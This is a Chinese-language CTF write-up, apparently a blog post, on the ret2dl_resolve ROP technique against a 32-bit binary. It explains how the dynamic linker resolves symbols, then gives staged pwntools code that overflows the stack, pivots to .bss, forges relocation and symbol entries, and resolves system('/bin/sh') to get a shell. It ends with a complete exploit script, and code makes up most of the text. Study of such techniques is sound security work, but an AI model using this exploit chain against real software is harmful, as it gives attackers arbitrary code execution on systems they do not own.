runtime_resolve

做为高级rop的题目果然是令人很头疼的,这类题目是没有办法leak的(无回显),就借助_dl_runtime_resolve(link_map_obj, reloc_index)对动态链接的函数重定位

控制程序执行 dl_resolve 函数
给定 Link_map 以及 index 两个参数。
当然我们可以直接给定 plt0 对应的汇编代码,这时,我们就只需要一个 index 就足够了。
控制 index 的大小,以便于指向自己所控制的区域,从而伪造一个指定的重定位表项。
伪造重定位表项,使得重定位表项所指的符号也在自己可以控制的范围内。
伪造符号内容,使得符号对应的名称也在自己可以控制的范围内。

对于此类题目:
关键点:

  1. .rel.plt表
  2. .dynsym
  3. .dynstr
  4. 从rel.plt里获得某个函数在.dynsym里的偏移
  5. 再从 .dynsym 里获得.dynstr里的偏移
  6. 在 .dynstr里找到对应的字符,将这个字符解析成函数

然后贴一段我也没有理解的东西看看

1
2
3
4
符号版本信息
最好使得 ndx = VERSYM[(reloc->r_info) >> 8] 的值为 0,以便于防止找不到的情况。
重定位表项
r_offset 必须是可写的,因为当解析完函数后,必须把相应函数的地址填入到对应的地址。

然后参考了很多大佬的博客都提到了延迟绑定机制(就是一定要调用一次之后got表里存的才会是真实地址)

第一条的jmp的指令跳转的地址是write的got表地址,但是此时指向的是下一条指令的地址0x80483d6

push 0x20 是dl_runtime_resolve的第二个参数(reloc_arg)

然后跳到plt[0] (0x8048380) 里,将linkmap push进去,然后跳到_dl_runtime_resolve进行解析,解析后的地址将会写入到第一次的read got.plt表里,然后将程序的控制权交给解析出来的地址指向的函数(自动找到那个函数的地址)

关于四个关键函数的地址提取:
plt_0 = elf.get_section_by_name(‘.plt’).header.sh_addr
rel_plt = elf.get_section_by_name(‘.rel.plt’).header.sh_addr
dynsym = elf.get_section_by_name(‘.dynsym’).header.sh_addr
dynstr = elf.get_section_by_name(‘.dynstr’).header.sh_addr

objdump -s -j .rel.plt babystack
objdump -d -j .plt babystack

(直接找ida来得更快一点)

readelf -S bof

readelf -d bof

JMPREL == .rel.plt
SYMTAB == .dynsym
STRREL == .dynstr
plt貌似只有-S里能找到

readelf -r bof

607 -> write的.rel.plt 607<<8 –> 6
x/4wx .dynsym的地址+0x10*6 第一个参数是在str里的偏移
x/s .str的地址+上面的偏移 得到的是函数名的字符串

x/3i 要查函数的plt表地址

Jmp –> got表地址
Push –> size(0x20) 是dl_runtime_resolve的第二个参数(reloc_arg)
Jmp –> plt[0]的地址

再——link_map = *(GOT+4) == (GOT[1]->链接器的标识信息)作为参数存入栈中
GOT2是动态链接器的入口点–>存着_dl_runtime_resolve的地址

_dl_runtime_resolve:完成符号的解析(内部会调用_dl_fixup)(找到真实地址存入got) —— 本题是将write的真实地址写入got,并把控制权交给write

漏洞利用方式:
1、控制eip为plt[0]的地址,只需传入一个index_arg参数即可
2、控制index_arg的大小,使reloc的信息存入可控地址
3、伪造reloc内容,使sym在可控地址
4、伪造sym内容,是name在可控地址
5、伪造name为任意库函数,达到我们想要的效果

我们来分步完成我们想要的效果吧(有write的函数其实就不需要这个方法了吧…)

Part1:
直接用write函数,查看最后输出效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

p = process('./bof')
elf = ELF('./bof')

rel_plt = 0x08048330
plt_0 = 0x08048380
dynsym = 0x080481d8
dynstr = 0x08048278

leave_ret = 0x08048458
pop_ebp = 0x0804861b
ppp_ret = 0x08048619 #pop esi ; pop edi ; pop ebp ; ret

bss_addr = 0x0804a040 #readelf -S bof | grep ".bss"
stack_size = 0x800
base_stage = bss_addr + stack_size


read_plt = elf.plt['read']
write_plt = elf.plt['write']
write_got = elf.got['write']

fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = index_dynsym << 8 | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
index_offset = (base_stage + 28) - rel_plt


#stage 1 bss_addr
payload = "a"*112
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
p.sendline(payload)

cmd = "/bin/sh\x00"

payload1 = 'aaaa'
payload1 += p32(write_plt)
payload1 += 'aaaa'
payload1 += p32(1)
payload1 += p32(base_stage+80)
payload1 += p32(len(cmd))
payload1 += 'A' * (80 - len(payload1))
payload1 += cmd
payload1 += 'A' * (100 - len(payload1))
p.sendline(payload1)
p.interactive()

“/bin/sh“被打出来了

Part 2
控制eip为pit[0]地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cmd = "/bin/sh\x00"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20 # write's index

payload2 = 'aaaa'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'aaaa'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

Part 3
控制index_offset 指向fake_reloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cmd = "/bin/sh\x00"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x607 # write: Elf32_Rel->r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'aaaa'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'aaaa'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

Part 4
伪造fake_sym 指向st_name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cmd = "/bin/sh\x00"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

Part 5
St_name指向 ‘write’,继续回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "write\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

Part 6
把write改成system来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

cmd = "/bin/sh\x00"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

就可以成功getshell了!!!

完整exp

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-
from pwn import *

p = process('./bof')
elf = ELF('./bof')

rel_plt = 0x08048330
plt_0 = 0x08048380
dynsym = 0x080481d8
dynstr = 0x08048278

leave_ret = 0x08048458
pop_ebp = 0x0804861b
ppp_ret = 0x08048619 #pop esi ; pop edi ; pop ebp ; ret

bss_addr = 0x0804a040 #readelf -S bof | grep ".bss"
stack_size = 0x800
base_stage = bss_addr + stack_size


read_plt = elf.plt['read']
write_plt = elf.plt['write']
write_got = elf.got['write']

fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = index_dynsym << 8 | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
index_offset = (base_stage + 28) - rel_plt


#stage 1 bss_addr
payload = "a"*112
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
p.sendline(payload)



#stage 2 system('/bin/sh')
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'AAAA'
payload2 += 'AAAA'
payload2 += fake_reloc # stack_addr+28
payload2 += 'A' * align
payload2 += fake_sym # stack_addr+36+align
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += "/bin/sh\x00"
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()